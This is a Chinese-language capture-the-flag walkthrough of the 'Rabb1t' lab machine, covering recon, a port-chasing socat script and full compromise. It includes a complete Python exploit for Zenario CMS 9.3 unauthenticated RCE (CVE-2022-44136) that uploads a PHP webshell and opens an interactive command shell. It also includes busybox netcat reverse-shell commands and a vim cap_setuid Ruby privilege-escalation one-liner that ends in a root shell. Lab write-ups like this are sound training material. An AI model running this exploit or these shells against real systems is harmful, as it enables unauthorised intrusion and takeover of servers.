这靶机名字起的好，哈哈哈

一、信息收集与服务探测

1. 主机发现

首先，使用 `arp-scan` 在本地网络中发现目标主机的IP地址。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
[sudo] kali 的密码：
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       VMware, Inc.
192.168.205.2   00:50:56:fc:94:2f       VMware, Inc.
192.168.205.198 08:00:27:f1:94:b8       PCS Systemtechnik GmbH
192.168.205.254 00:50:56:fb:d6:c6       VMware, Inc.
...
```

扫描结果确认目标靶机的 IP 地址为 `192.168.205.198`。

2. 端口扫描与动态端口分析

使用 `nmap` 对目标主机进行端口扫描。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.198
...
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1028/tcp open  unknown
...
```

多次扫描发现，除了固定的 22 和 80 端口外，还有一个端口号在 1024 以上的端口是动态变化的，每次扫描后端口号会增加2，且有大约10秒的开放间隔。这是一个动态服务的迹象。

为了稳定地访问这个动态端口，编写了一个 bash 脚本，该脚本能自动发现当前开放的端口，并使用 `socat` 将其流量转发到本地的一个固定端口。

端口转发脚本 (`a.sh`)

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat a.sh
#!/bin/bash

IP=$1
LP=8000
PP=1028
PF=/tmp/socat.pid

g(){
  while :;do
    (echo > /dev/tcp/$IP/$PP) 2>/dev/null && break || PP=$((PP+2))
    [ $PP -gt 65535 ] && PP=1030
  done
}

[ -f $PF ] && kill $(cat $PF) 2>/dev/null && rm $PF

g
socat TCP-LISTEN:$LP,fork,reuseaddr TCP:$IP:$PP &
echo $! > $PF

while :;do
  (echo > /dev/tcp/$IP/$PP) 2>/dev/null || {
    kill $(cat $PF); rm $PF
    PP=$((PP+2))
    [ $PP -gt 65535 ] && PP=1030
    g
    socat TCP-LISTEN:$LP,fork,reuseaddr TCP:$IP:$PP &
    echo $! > $PF
  }
  sleep 1
done
```

运行此脚本后，动态端口的服务被成功转发到本地的 `8000` 端口。

二、Web应用渗透与漏洞利用

1. 目录扫描与信息泄露

通过本地 `8000` 端口对转发的服务进行目录扫描。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ffuf -u "http://192.168.205.128:8000/FUZZ" -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
--fl 15 -e .php,.txt,.html,.zip
...
password.txt            [Status: 200, Size: 74, Words: 11, Lines: 4, Duration:
9ms]
robots.txt              [Status: 200, Size: 251, Words: 12, Lines: 12, Duration:
214ms]
...
```

扫描发现了 `robots.txt` 文件，其内容泄露了多个后台目录，其中最关键的是 `zenario`。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl http://192.168.205.128:8000/robots.txt
User-agent: *
Disallow: /admin/
...
Disallow: /zenario/
...
```

访问该 Web 服务，查看源代码，发现其使用了 **Zenario CMS**，版本号为 `9.3.57186`。

2. Zenario CMS 漏洞利用

通过搜索公开漏洞库，发现 Zenario CMS 9.3 版本存在一个未经身份验证的远程代码执行漏洞 **(CVE-2022-44136)**。根据公开的 PoC，我们编写了一个利用脚本 (`exp.py`) 来上传一个 webshell。

> [!Tip]
>
> https://com0t.github.io/zenar.io/2022/10/18/Unauthent-RCE-Zenar.io~9.3.html

利用脚本exp.py

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: Zenario CMS 9.3 - Unauthenticated Remote Code Execution (RCE)
# CVE: CVE-2022-44136
# Author: Gemini (based on provided request analysis)
# Date: 2025-07-19
# Description: This script exploits an unrestricted file upload vulnerability in
# Zenario CMS 9.3. The vulnerability is triggered by a typo in the Content-Type
# header (`Content-Tyope`) which bypasses the file type validation, allowing
# the upload of a PHP webshell.

import requests
```

```
import argparse
import sys
import json
from urllib.parse import urljoin

# 关闭requests库因证书验证失败而产生的警告
requests.packages.urllib3.disable_warnings()

def print_banner():
    """打印一个漂亮的横幅"""
    print("=" * 60)
    print(" Zenario CMS 9.3 Unauthenticated RCE Exploit (CVE-2022-44136)")
    print("=" * 60)

def exploit(target_url, instance_id, filename):
    """执行漏洞利用的核心函数"""

    endpoint = "/zenario/ajax.php"
    upload_url = urljoin(target_url, endpoint)

    # Webshell的内容
    webshell_content = b"<?php echo '>>>'; system($_GET['cmd']); echo '<<<'; ?>"

    # URL查询参数，与截图中保持一致
    params = {
        'method_call': 'handlePluginAJAX',
        'cID': '1',
        'slideId': '0',
        'cType': 'html',
        'instanceId': instance_id,
        'fileUpload': ''
    }

    # 这是要上传的文件。我们先正常定义它。
    # ('fileUpload', (filename, webshell_content, 'image/jpeg'))
    #  ^--表单字段名       ^--文件名    ^--文件内容       ^--一个无害的Content-Type
    files = {
        'fileUpload': (filename, webshell_content, 'image/jpeg')
    }

    print(f"[*] 准备向 {upload_url} 上传webshell...")
    print(f"[*] 使用 Instance ID: {instance_id}")
    print(f"[*] 上传文件名: {filename}")

    # --- 关键的绕过步骤 ---
    # 1. 使用requests库准备一个请求对象，但先不发送
    session = requests.Session()
    req = requests.Request('POST', upload_url, params=params, files=files)
    prepared_req = req.prepare()

    # 2. prepared_req.body是bytes类型，包含了整个multipart/form-data的内容
    #    我们将其解码为字符串，进行替换操作，然后再编码回去
    body_str = prepared_req.body.decode('utf-8', errors='ignore')

    # 3. 将 "Content-Type" 替换为 "Content-Tyope"，这是漏洞的核心
```

```
    modified_body_str = body_str.replace('Content-Type: image/jpeg', 'Content-
Tyope: image/svg+xml')
    prepared_req.body = modified_body_str.encode('utf-8')

    # 4. 更新Content-Length头，因为我们的修改可能导致长度变化（尽管这里没有）
    prepared_req.headers['Content-Length'] = str(len(prepared_req.body))

    print("[+] 请求已被修改，注入 'Content-Tyope' 绕过代码。")
    print("[*] 正在发送恶意请求...")

    try:
        # 5. 发送我们手动修改过的请求
        response = session.send(prepared_req, verify=False, timeout=15)

        # 检查响应是否成功
        if response.status_code == 200:
            print("[+] 服务器返回 200 OK，可能上传成功！")
            try:
                # 解析服务器返回的JSON
                response_json = response.json()
                file_path = response_json['files'][0]['path']

                # 构建完整的webshell URL
                webshell_url = urljoin(target_url, f"{file_path}")
                print("\n" + "="*60)
                print(f"[\033[1;32mSUCCESS\033[0m] Webshell上传成功!")
                print(f"[\033[1;32mURL\033[0m]: {webshell_url}")
                print("="*60 + "\n")
                return webshell_url
            except (json.JSONDecodeError, KeyError, IndexError):
                print("[-] 上传成功，但无法从响应中解析文件路径。")
                print("[-] 响应内容: ", response.text)
                return None
        else:
            print(f"[-] 上传失败，服务器返回状态码: {response.status_code}")
            return None

    except requests.exceptions.RequestException as e:
        print(f"[-] 请求发生错误: {e}")
        return None

def interactive_shell(webshell_url):
    """提供一个交互式的命令执行环境"""
    print("[*] 启动交互式Webshell... (输入 'exit' 退出)")
    session = requests.Session()
    try:
        while True:
            cmd = input("\033[1;34mcmd > \033[0m")
            if cmd.lower() in ['exit', 'quit']:
                break

            # 发送GET请求来执行命令
            params = {'cmd': cmd}
            try:
```

```
                response = session.get(webshell_url, params=params, verify=False,
timeout=10)
                # 提取由 '>>>' 和 '<<<' 包裹的命令输出
                output = response.text.split('>>>')[1].split('<<<')[0]
                print(output)
            except requests.exceptions.RequestException as e:
                print(f"[-] 命令执行失败: {e}")
            except IndexError:
                 print(f"[-] 无法从响应中提取命令输出。")
                 print(f"[-] 原始响应: {response.text}")


    except KeyboardInterrupt:
        print("\n[*] 检测到Ctrl+C，正在退出。")
    print("[*] Webshell会话已关闭。")


if __name__ == '__main__':
    print_banner()
    parser = argparse.ArgumentParser(description="Zenario CMS 9.3 RCE (CVE-2022-
44136) Exploit")
    parser.add_argument("target_url", help="目标URL (例如:
http://192.168.205.128:8000)")
    parser.add_argument("--instance-id", default="20", help="文件上传表单的
instanceId (默认为20)")
    parser.add_argument("--filename", default="shell.php", help="上传的webshell文
件名 (默认为shell.php)")

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    shell_url = exploit(args.target_url, args.instance_id, args.filename)

    if shell_url:
        interactive_shell(shell_url)
    else:
        print("\n[-] 漏洞利用失败，未能获取Webshell。")
```

执行利用脚本:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ python3 exp.py http://192.168.205.128:8000
============================================================
 Zenario CMS 9.3 Unauthenticated RCE Exploit (CVE-2022-44136)
============================================================
[*] 准备向 http://192.168.205.128:8000/zenario/ajax.php 上传webshell...
[*] 使用 Instance ID: 20
[*] 上传文件名: shell.php
[+] 请求已被修改，注入 'Content-Tyope' 绕过代码。
[*] 正在发送恶意请求...
[+] 服务器返回 200 OK，可能上传成功!
```

```
============================================================
[SUCCESS] Webshell上传成功!
[URL]: http://192.168.205.128:8000/private/uploads/JEk-
Wwl_SpBQMaPvCw3mgBcAB1m7bw/shell.php
============================================================

[*] 启动交互式Webshell... (输入 'exit' 退出)
cmd > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

脚本成功上传了一个PHP webshell，并获得了 `www-data` 用户的命令执行权限。

三、初始访问与本地枚举

1. 反弹 Shell

为了获得更稳定的交互式会话，在攻击机上设置 Netcat 监听，并从 webshell 中执行反弹 shell 命令。

攻击机监听:

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
```

Webshell 中执行:

```
cmd > busybox nc 192.168.205.128 8888 -e /bin/bash
```

成功获得 `www-data` 用户的反弹 shell，并升级为标准的 TTY。

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80
```

2. 本地信息收集

在 `/home` 目录下发现用户 `morii`，并在其家目录下找到并读取了 `user.txt` 文件。

```
www-data@Rabb1t:/home/morii$ ls -al
...
-rw-r--r-- 1 morii morii   32 Jul 17 11:09 user.txt
www-data@Rabb1t:/home/morii$ cat user.txt
flag{user_Down the Rabbit-Hole}
```

四、权限提升

1. SUID/Capabilities 权限检查

对系统进行权限提升向量的排查。`find` 命令查找 SUID 文件，但未发现明显可利用的异常文件。接着使用 `getcap` 检查文件的 Capabilities。

```
www-data@Rabb1t:/home/morii$ getcap -r / 2>/dev/null
/usr/bin/vim = cap_setuid+ep
...
```

发现 `/usr/bin/vim` 被授予了 `cap_setuid+ep` 权限。这意味着 Vim 进程可以调用 `setuid()` 系统调用来改变其有效用户ID (EUID)。

2. 利用 Vim Capabilities 提权

检查 Vim 的编译选项，确认其是否支持可用于执行代码的脚本接口。

```
www-data@Rabb1t:/home/morii$ vim --version
...
-python             -python3            +ruby
...
```

结果显示，虽然 Python 接口被禁用了，但 **Ruby (`+ruby`)** 接口是启用的。我们可以利用 Vim 的 Ruby 接口，结合 `cap_setuid` 权限来执行代码并提权至 root。

提权步骤：

1. 在攻击机上开启 Netcat 监听以接收 root shell。

   ```
   nc -lvnp 8888
   ```

2. 在靶机上执行一条精心构造的 Vim 命令。该命令利用 Ruby 接口首先将进程的 EUID 设置为 0 (root)，然后执行一个反弹 shell 命令。

   ```
   vim -c ':ruby Process::Sys.setuid(0); exec("busybox nc 192.168.205.128 8888 -e /bin/bash")'
   ```

攻击机成功接收到连接，获得了一个 `euid=0` 的 root 权限 shell。

3. 获取最终凭证

在 root shell 中，读取 `/root` 目录下的最终 flag 文件。

```
root@Rabb1t:/home/morii# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@Rabb1t:/home/morii# cat /root/root.txt /home/morii/user.txt
flag{root_Alice's Evidence}
flag{user_Down the Rabbit-Hole}
```

至此，渗透测试完成，成功获取了系统的 root 权限。